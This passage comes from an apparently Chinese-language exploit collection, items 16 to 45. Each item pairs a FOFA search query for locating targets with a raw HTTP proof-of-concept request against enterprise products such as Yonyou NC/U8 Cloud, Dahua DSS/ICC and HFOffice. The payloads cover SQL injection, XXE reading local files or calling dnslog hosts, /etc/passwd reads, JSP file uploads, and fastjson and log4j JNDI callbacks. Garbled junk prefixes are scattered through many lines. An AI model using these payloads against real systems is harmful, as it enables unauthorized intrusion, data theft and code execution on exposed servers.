  m. b) S- l$ o/ \GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
% U# Q5 I* H; U8 L* P3 GConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
0 s& i1 N% Q% _1 M" {& QAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip
4 k& c$ D# g4 }& T5 H
8 E- k8 y8 Z( W( m" K- o; w
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
: q6 C( X9 @5 N2 U  U8 n( e7 E% BGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
6 u7 G3 ^( p5 f$ A# U; H4 F0 V) `User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
. i. ?& w  ^' y  a/ BAccept: */*
Accept-Language: en
Accept-Encoding: gzip


  L& O$ r1 P( t# V) I3 r& Q17. 大华 DSS itcBulletin SQL 注入
# R2 _& h8 e) ?" z8 _5 {4 KFOFA：app="dahua-DSS"
- q6 A8 B1 t( _" b& nPOST /portal/services/itcBulletin?wsdl HTTP/1.1
3 y( P  q# d0 G2 WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 _# k0 w$ B0 H2 t6 B/ AContent-Length: 345
; z4 g1 a$ n0 o; w2 O9 XAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
4 B# }) j: |! q! g<s11:Body>
" S+ n( M1 d. m; l. q1 B. a1 }3 L9 v    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
& i% `) R* f1 t% T. n      </netMarkings>
    </ns1:deleteBulletin>
8 w2 k3 G# \0 u  </s11:Body>
</s11:Envelope>


5 B% L9 l* m" L# `1 D0 Z. D18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
2 z8 B( j! `4 M0 v: I* HFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
. E7 f+ p# i4 B) a% d5 j6 ^Host: your-ip
1 C- r7 J, v& N6 _+ I( Z, nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
! r+ f. V8 }* }3 @! T/ E4 L. Y" uAccept: */*
Connection: keep-alive
% d" j4 k& I& m+ Z2 M

3 c; _/ ?, c$ n" i- t' k
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
+ Y7 C+ p7 n, B% h6 J" A. B4 _& {FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
4 N$ V' n, Q# r  C: ?" y0 _# YHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
  k$ ~+ c1 [' o! F7 s6 Z9 hAccept-Encoding: gzip, deflate
Accept: */*
% p, a" h. o1 i! O: o, _Connection: keep-alive


2 ?8 a& l; S# V. ?20. 大华ICC智能物联综合管理平台任意文件读取
" z; M; F/ U$ k+ n% F  m0 ~FOFA：body="*客户端会小于800*"
! {6 o3 @, \) R: H* G$ L: K- kGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
2 m4 O- X6 T6 O! x  V: fHost: x.x.x.x
" O  D$ F! V2 ^) f  Z/ ~- AUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, z( q' V3 `* W0 Q1 S. T/ jConnection: close
& \0 T/ ^/ \& A; r/ I9 W3 OAccept: */*
Accept-Language: en
Accept-Encoding: gzip
  Q* ^3 G" a0 j
3 O, }4 X: |* S
! `+ A7 T, ?5 z4 T# `* w5 M9 u21. 大华ICC智能物联综合管理平台random远程代码执行
) |9 \# {" M9 `1 @. B# D: tFOFA：icon_hash="-1935899595"
& l: ~$ W& {0 b; l3 zPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
6 }, W" S2 K4 JHost: x.x.x.x
1 j0 ]# H+ P3 b7 p' X8 i( ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
2 B. I" D: r' |; q; OAccept-Encoding: gzip
0 ^# U+ S3 [9 q5 ^3 X+ jConnection: close
& j& l9 d$ w5 t1 ^  {Content-Type: application/json;charset=utf-8
9 ?/ E* N0 x; W0 E" _6 @
' K7 j/ r/ g9 V' x{
1 h- U+ M9 X: m# ~- j"a":{
8 m/ r7 @( e2 K  ^$ @( z) N   "@type":"com.alibaba.fastjson.JSONObject",
9 H5 V& x  b5 \3 B    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
# k9 F7 S  m6 n% x' i1 d  }""
}


22. 大华ICC智能物联综合管理平台 log4j远程代码执行
9 S/ {+ k5 ?: t( e# M: HFOFA：icon_hash="-1935899595"
* @. V, E) _- o0 B# `POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
# v! y# Q9 B. O  ?( a8 g8 CHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

2 }. C5 ]* D6 Q) M2 S{
5 I- }- y  A& y3 i2 m2 x. E"loginName":"${jndi:ldap://dnslog}"
' v) z. |- }6 u9 w. _}

  H5 {' g, A9 i4 s) N% I

3 X3 ^5 K0 \6 ]& l8 |" S23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
& t0 b& q* R7 OPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
+ o. t! s. ^# ?8 z, LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; e/ B2 K; T* _3 U1 ~- XContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
% \# T( J9 w, [" K+ l7 uConnection: close
1 }1 D# m/ n. G: s- U
) _, P) N1 d" ?1 k{
$ Z1 n, c5 |  k. s: s    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
$ F7 K2 f  H& E        }""
! z# o; o3 J( z' s}

* e5 y- g8 E1 V; Q
. ?/ @' s; b/ Q% |1 \3 C3 N; k24. 用友NC 6.5 accept.jsp任意文件上传
+ y+ f  v; a2 E1 `# [$ m7 EFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
* C3 z# S3 h9 x7 J% @9 mHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
) h0 R( y) x* M; l; O! AConnection: close
Content-Length: 449
7 z! X% d  m5 IAccept: */*
' o# q, P2 p* w# A" [2 DAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

7 R9 e  ?  b7 o& r-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
% ~3 J2 R* c, |* p/ Z# S$ |( dContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain

8 Q- B1 l4 |5 F<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
- W6 D7 `+ Y4 T/ N8 A- hContent-Disposition: form-data; name="fname"
) a6 d" `2 J/ v& l: a
' ?% {8 _  J5 ?( d9 X  k\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
: h5 ^2 p8 K8 a$ x5 E# A) I& H-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
5 w$ H* ^; }8 j! t

8 ~& u& O" f) o5 I8 e/ j25. 用友NC registerServlet JNDI 远程代码执行
( W" z0 p5 u! F* L! R6 N! x8 o% PFOFA：app="用友-UFIDA-NC"
, l7 w7 J' u& TPOST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
8 Y$ G. e5 `7 H- i6 ~$ ]9 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
- @  L& z/ z( X! y. W7 RAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog
) I) D" K' I6 u$ b; a9 j
( [5 f& p/ f4 l
- ]1 g' Z: C' j$ G
26. 用友NC linkVoucher SQL注入
9 ?0 ?' t/ S8 Q9 eFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
) w# `* c0 Z$ ?" x1 @% UHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 t) B. s+ M2 z; v# eAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
; J( i, r& n1 ~

' ^. H+ ^. l  z8 E& I! V27. 用友 NC showcontent SQL注入
0 x2 {9 z8 V4 J. E, ], tFOFA：icon_hash="1085941792"
# V( h2 b' y: y/ S7 _GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
% w: ?6 M  i  o4 ?) FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. O4 i. R# V9 W6 ]$ ?Accept-Encoding: identity
Connection: close
5 R& S# I7 H! u& `3 p. D6 F  jContent-Type: text/xml; charset=utf-8
4 B; j' E' _* J
2 s; g) g5 y  o
28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
! p0 Z8 c% c+ g  P: R" JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
% j" q/ z) N- }0 dContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
! V) i: k7 Y$ q) QAccept-Encoding: gzip

* ^# K$ o9 r( g$ P0 b------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
9 l, k9 p# b1 g$ o& y5 pContent-Type: application/octet-stream
; s  ~7 r, {( o: Q  Y% s0 Y9 ~
  `; i, j# T2 j<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
- d" N6 h, W( d3 h. ^8 j------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
. j; V+ p5 S# {* S) ^9 v
" p. _0 Z$ L; p* e
; |/ v& H! l$ U1 f1 t) v: x+ Z" B/uapim/static/pages/nc/head.jsp

" X- ^$ t' d. C3 j! Z29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
, l7 d) V% s2 }1 f" x/ d' {: v% vHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 q# f8 Q7 E, aContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
5 k/ C- Y% Y: `6 z2 PConnection: keep-alive
! T+ }! F: z- E% `% S5 K
9 z& q# A6 O! V8 r* }6 |
30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
3 s4 _/ {+ w8 ^. `3 R1 Y6 tPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
8 V. |: y4 d, f& JHost: your-ip
" ]6 u2 J! `3 o8 \' x* BContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close
/ U, f3 {+ {& \$ R2 u2 c  l
------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
. F* ]- z4 L9 }7 @Content-Type: image/jpeg
: b+ R- K" i) K, s" F2 x------WebKitFormBoundaryH970hbttBhoCyj9V--
3 m) ]* i8 E5 M) f0 c2 u

31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
; M9 I& s8 t& ]8 SGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
( B# ~6 o" p4 B2 S" }8 K

' ~2 P5 x; z8 z/ w' u% \32. 用友NC complainbilldetail SQL注入
9 x3 d, V$ z# s" {version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
% @' }/ H# v2 u* ?1 e" _GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 ?8 m0 X: K. t3 w8 Z( }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
0 }0 U4 U  i: IAccept-Encoding: gzip, deflate
5 t) G2 N0 Y9 @; {Accept: */*
7 n- ^7 J( [5 q, q$ _- y7 d8 {Connection: keep-alive

8 U* m& P% R4 R; j! s, D
6 Q! V! x( j7 C% g& b; H3 k: m1 o33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
& U# ~5 k: a; L; I) `9 wGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
1 ~) M: J) f" S, u0 w0 U8 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ I" \5 g, _* \9 K1 h) WAccept: */*
Connection: keep-alive


% d$ l/ Y, ]7 C$ K2 O! c' {34. 用友NC warningDetailInfo接口SQL注入
/ P5 E' |! o( S( n) R0 D* ^0 VFOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
# g2 X+ u9 K  i+ L0 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# p5 k/ P* G. e: @Accept-Encoding: gzip, deflate
: U9 ?8 x& W+ F" m$ ]: v2 yAccept: */*
6 h0 `$ o) W) _+ I9 K; iConnection: keep-alive

8 u8 q/ Q% J0 \+ `( V; f
: m! H" F; ^) ^5 F9 d35. 用友NC-Cloud importhttpscer任意文件上传
7 p$ n4 S* r3 y- G! KFOFA：app="用友-NC-Cloud"
3 P/ R- h" f+ ]) m. @POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
. R+ f" S- B0 aaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
. Z' F0 Q; C4 i( A' Z$ {2 pContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

! _1 Q  y: z+ ]# H--fd28cb44e829ed1c197ec3bc71748df0
" Z% P% X: H* k, `. }Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

, K4 Y/ J) B, c/ p<%out.println(1111*1111);%>
2 L$ x* r+ H) T2 w, O9 j--fd28cb44e829ed1c197ec3bc71748df0--


; G- g; Z* ?7 O% E: `- A36. 用友NC-Cloud soapFormat XXE
: X% H3 z; t: d* s4 LFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
9 j4 _( E( h( E6 z0 f( G- JContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. K  @' W, _$ @. ^! ^4 b6 v. \) v+ W$ bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
2 W7 @( g! Q6 |# LUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
& v' u  J7 b/ n& I5 X/ a
0 Z+ @8 m* L6 J
% t+ o+ n$ b) t3 i3 L37. 用友NC-Cloud IUpdateService XXE
% t" j7 ^6 w3 v1 Z0 L. AFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
; `7 m7 j$ ?- Y& Z. g: RHost: 192.168.40.130:8989
5 D" j6 V* {: x) mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
" ^" }1 k! P* F7 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
9 t( E  N) F( U! Q0 NAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
! u  m! u. G4 ~7 _9 y5 q: F( C- [* PSOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
. E% B6 _: @3 O<soapenv:Body>
& o; ?9 \7 C7 n1 t$ Q<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
7 ?/ \) t6 Q* _7 Q4 _<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
  B5 F0 l- h( T: A% w, ^9 x2 e<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
+ z% S3 `, R( E) c</soapenv:Envelope>
; d" u2 t% [1 |+ M4 `

; M5 i9 D) [- _
38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
2 _- T8 `. H8 S6 r/ ]7 bPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
  b+ ]3 X! }. m% \* r: y. Y/ SHost: 192.168.40.131:8088
4 X. b- A/ c( c- W2 E% RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
/ [5 h. \% s! f+ l0 W' T1 \: f, fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
$ d3 ?+ f3 v! w7 e3 zAccept-Encoding: gzip, deflate
/ l* k4 B% ]/ s; g# b& x: e( s- Q: aAccept-Language: zh-CN,zh;q=0.9
& |6 q+ |5 T  D4 s. Q7 l5 z2 RConnection: close
Content-Type: application/x-www-form-urlencoded
" l4 a) Y3 l. `: u" c* l) h
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
; \: H# x8 q: ^/ C

+ q! B% v4 L2 b& n* w* I  }1 G/ L39. 用友U8 Cloud RegisterServlet SQL注入
, k4 P( g. X% d( W5 ?FOFA：title="u8c"
, Q/ Y, X6 w/ [# d$ t7 sPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
$ [$ Z' H; Q7 P/ Y0 s2 U+ o0 y1 {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
2 s/ d$ o- |9 v) V7 j# O6 {- k, V& JAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
2 N2 T8 T2 t3 c7 J) V/ P4 ^
& \8 `: L! b1 l9 @9 D; V+ M' kusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
& Q. ~$ M, O5 x8 @+ K
! u& ], I& x7 i, j0 C
40. 用友U8-Cloud XChangeServlet XXE
3 E- X. }, `$ KFOFA：app="用友-U8-Cloud"
& A5 w5 [5 I/ J  d: F: R6 pPOST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
8 E( ?1 k! a. r
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
8 n9 B, p9 X0 _% u& [( y% I9 I

# @! a% \( X1 `  L' ]41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
9 B0 P  }) M6 Q1 R( ]User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
6 [- y, V% K. o2 I: SConnection: close


42. 用友GRP-U8 SmartUpload01 文件上传
& a6 P6 Z/ ~- BFOFA：app="用友-GRP-U8"
2 i# @8 `$ V- O6 I  J6 Z* nPOST /u8qx/SmartUpload01.jsp HTTP/1.1
7 D! B; T' L! d# G$ mHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

5 w; ^* a: S3 U/ B9 V3 ]PAYLOAD

, i) F& V  |5 k+ v. V
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
# [; v4 S  `6 x  n
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
8 L; \1 p" S. V% e( g* e( yFOFA：app="用友-GRP-U8"
# ]: {% F4 A5 [. EPOST /services/userInfoWeb HTTP/1.1
0 S  G8 {! Z. G$ w; W3 {Host: your-ip
: y5 y, s# Y3 R, E6 b* lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
, P4 c* h: P5 [6 u7 H1 S6 v% d0 tSOAPAction:
+ {4 P2 I8 w+ ^- tContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
6 p/ C. @. i& X$ ?   <soapenv:Header/>
# c% u, ]' r/ \% p   <soapenv:Body>
* [: |! g# {9 [      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
, S  u( H, ~8 k8 H  |+ p   </soapenv:Body>
</soapenv:Envelope>
/ X  A6 ^% l8 R1 _

, m( s  S' V: T7 _. B44. 用友GRP-U8 bx_dj_check.jsp SQL注入
' e. \4 h8 G8 O( ZFOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
/ [) i% \: g" I; e0 _' VHost: your-ip
* j( }  n7 @7 v! F% SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
8 y& u4 v( `+ X) G' kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- g$ h$ D2 q& t  Q4 b8 D' o" d0 B" UAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  ~9 s2 e( B, O! d& KConnection: close
9 m" b4 g6 j& o4 i% L
% f* M7 ^8 O6 O2 l& }
7 R4 _% p0 B' N7 C) n8 k: _45. 用友GRP-U8 ufgovbank XXE
0 M$ z' }" {' O, W' a, p4 wFOFA：app="用友-GRP-U8"
$ S2 X6 l- n. n' yPOST /ufgovbank HTTP/1.1
; E7 ?% e+ h( z& l7 J  DHost: 192.168.40.130:222
, M/ ^+ b  Y3 N. C0 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 l2 Y" t" s' ^. L; P( n3 JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 h% M' p- Z- v& i* y7 @Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

  N8 B2 Z1 G/ `9 Z/ RreqData=<?xml version="1.0"?>
) Z3 b& T% i. V& S& J<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
- B; A) g4 D0 J0 C

